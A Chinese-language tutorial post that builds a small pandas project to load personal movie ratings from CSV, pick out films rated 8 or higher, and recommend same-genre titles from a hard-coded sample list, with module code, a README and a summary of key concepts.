为你完整设计一个观影记录分析与推荐系统，结合大数据与智能管理课程的思想，从场景到代码、从模块到文档，全部覆盖。
1. 实际应用场景 & 痛点引入
场景
你是一名电影爱好者，长期在豆瓣、IMDb 等平台记录观影数据（电影名、评分、时长）。你想：
- 快速找出自己打过 8 分以上 的高分电影。
- 根据高分电影的类型，推荐同类型的其他高分影片。
痛点
- 手动筛选高分电影耗时。
- 没有自动化的推荐机制，需要自己去搜索同类型电影。
- 缺乏数据驱动的电影偏好分析。
2. 核心逻辑讲解
1. 数据获取
- 输入观影记录（CSV/Excel），字段包括：
"title"（电影名）、
"rating"（评分）、
"duration"（时长）、
"genre"（类型，可选，若没有则需外部数据源补充）。
2. 数据清洗
- 确保评分为数值类型，去除无效数据。
3. 高分电影筛选
- 筛选评分 ≥ 8.0 的电影。
4. 推荐同类型电影
- 如果有类型信息，则从外部电影数据集（如 IMDb Top 250 或 TMDB API）中匹配同类型且评分高的电影。
- 这里为了演示，我们用一个内置的“同类型高分电影库”模拟推荐。
5. 输出结果
- 打印高分电影列表。
- 打印推荐电影列表。
- 可选：保存结果到 CSV。
3. 代码实现（模块化 + 注释）
目录结构
movie_analysis/
├── data/
│ └── my_movies.csv
├── output/
├── analysis.py
├── utils.py
├── movie_db.py
├── README.md
└── requirements.txt
"requirements.txt"
pandas>=1.5.0
"utils.py"（工具函数）
import pandas as pd
def load_movie_data(file_path):
"""
加载观影记录 CSV 文件
:param file_path: CSV 文件路径
:return: DataFrame
"""
df = pd.read_csv(file_path)
# 确保评分为数值类型
df['rating'] = pd.to_numeric(df['rating'], errors='coerce')
return df
def clean_data(df):
"""
清洗数据：删除评分为空的行
:param df: DataFrame
:return: 清洗后的 DataFrame
"""
return df.dropna(subset=['rating'])
"movie_db.py"（模拟电影数据库）
# 模拟同类型高分电影库
SIMILAR_MOVIES = {
"剧情": [
{"title": "肖申克的救赎", "rating": 9.7, "duration": 142},
{"title": "阿甘正传", "rating": 9.5, "duration": 142},
],
"科幻": [
{"title": "星际穿越", "rating": 9.3, "duration": 169},
{"title": "盗梦空间", "rating": 9.3, "duration": 148},
],
"动作": [
{"title": "黑暗骑士", "rating": 9.2, "duration": 152},
{"title": "速度与激情7", "rating": 8.5, "duration": 137},
]
}
def get_similar_high_rated_movies(genre, limit=2):
"""
根据类型获取同类型高分电影
:param genre: 电影类型
:param limit: 返回数量
:return: 列表
"""
return SIMILAR_MOVIES.get(genre, [])[:limit]
"analysis.py"（主分析逻辑）
import pandas as pd
from utils import load_movie_data, clean_data
from movie_db import get_similar_high_rated_movies
def analyze_movies(file_path):
# 1. 加载数据
df = load_movie_data(file_path)
df = clean_data(df)
# 2. 筛选高分电影（≥8分）
high_rated = df[df['rating'] >= 8.0]
print("你的高分电影（≥8分）：")
print(high_rated[['title', 'rating', 'duration']])
# 3. 推荐同类型电影
recommended = []
for _, row in high_rated.iterrows():
genre = row.get('genre', None)
if genre:
similar = get_similar_high_rated_movies(genre)
for movie in similar:
movie['source_genre'] = genre
recommended.append(movie)
# 去重
unique_recommended = {m['title']: m for m in recommended}.values()
print("\n推荐的同类型高分电影：")
for m in unique_recommended:
print(f"{m['title']} ({m['source_genre']}) - 评分: {m['rating']}")
# 4. 保存结果
high_rated.to_csv('../output/high_rated_movies.csv', index=False)
pd.DataFrame(unique_recommended).to_csv('../output/recommended_movies.csv', index=False)
print("\n结果已保存到 output/ 目录")
if __name__ == "__main__":
analyze_movies('../data/my_movies.csv')
4.
"README.md"
# 观影记录分析与推荐系统
## 功能
- 导入观影记录（电影名、评分、时长、类型）
- 筛选高分电影（≥8分）
- 根据类型推荐同类型高分电影
- 保存结果到 CSV
## 环境依赖
- Python 3.8+
- pandas
## 安装
bash
pip install -r requirements.txt
## 使用
1. 将观影记录放入 `data/my_movies.csv`，格式如下：
title,rating,duration,genre
肖申克的救赎,9.7,142,剧情
阿甘正传,9.5,142,剧情
星际穿越,9.3,169,科幻
...
2. 运行分析脚本：
bash
python analysis.py
3. 查看终端输出的高分电影和推荐电影，并在 `output/` 目录查看保存的 CSV 文件。
## 作者
全栈开发工程师 & 技术布道者
5. 核心知识点卡片
知识点 说明
Pandas 数据加载
"pd.read_csv()" 读取 CSV，
"to_numeric" 转换类型
数据清洗
"dropna()" 删除缺失值，保证分析准确性
条件筛选
"df[df['rating'] >= 8.0]" 筛选高分电影
字典数据结构 用字典存储同类型电影库
去重技巧
"{m['title']: m for m in list}" 字典推导式去重
模块化设计 工具函数、数据库模拟、主分析逻辑分离
6. 总结
本项目展示了如何用 Python 快速构建一个观影记录分析与推荐系统，结合了：
- 大数据处理思想（数据清洗、条件筛选）
- 智能管理应用（个性化推荐）
- 全栈开发实践（模块化、文档化、可扩展性）
通过这个小项目，你可以：
- 掌握 Pandas 数据处理与分析的核心方法
- 学会用字典和列表构建简单推荐引擎
- 理解如何将个人数据转化为可行动的洞察
- 为后续接入真实电影 API（如 TMDB）、Web 前端、可视化大屏打下基础
如果你需要，可以生成一个示例 CSV 观影记录文件，这样你可以直接运行代码看到效果
利用AI高效解决实际问题，如果你觉得这个工具好用，欢迎关注我！
